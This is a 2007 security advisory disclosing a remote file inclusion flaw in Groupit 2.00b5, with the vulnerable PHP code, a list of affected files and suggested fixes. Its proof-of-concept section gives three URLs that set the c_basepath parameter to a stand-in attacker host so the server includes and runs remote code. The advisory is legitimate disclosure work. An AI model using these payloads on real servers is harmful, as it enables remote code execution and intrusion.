Author		: Dedi Dwianto a.k.a the_day
Date Found	: March, 15th 2007
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv75-theday-2007.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Groupit
version		: 2.00b5
URL		: http://fresh.t-systems-sfr.com/fresh/unix/src/privat2/groupit-2.00b5.tar.gz

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~

- Invalid include function at html/content.php
-----------------------html/content.php------------

<?
...
include "$c_basepath/base/groupit.start.inc";

if (!empty($c_is_search))
{
   include "$c_basepath/modules/search/main.inc";
} else
{
   if ($c_is_section)
   {
      include  "$c_basepath/modules/content/section.inc";
   } else
   .........
   
include "$c_basepath/base/groupit.stop.inc";
?>
----------------------------------------------------------

Input passed to the "$c_basepath" parameter in load.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

html/userprofile.php
html/password.php
html/dispatch.php
html/deliver.php

and More ....



Proof Of Concept:
~~~~~~~~~~~~

http://localhost/groupit/html/content.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/userprofile.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/password.php?c_basepath=http://atacker.com/inject.txt?

Solution:
~~~~

- Sanitize variable $c_basepath affected files.
- Turn off register_globals
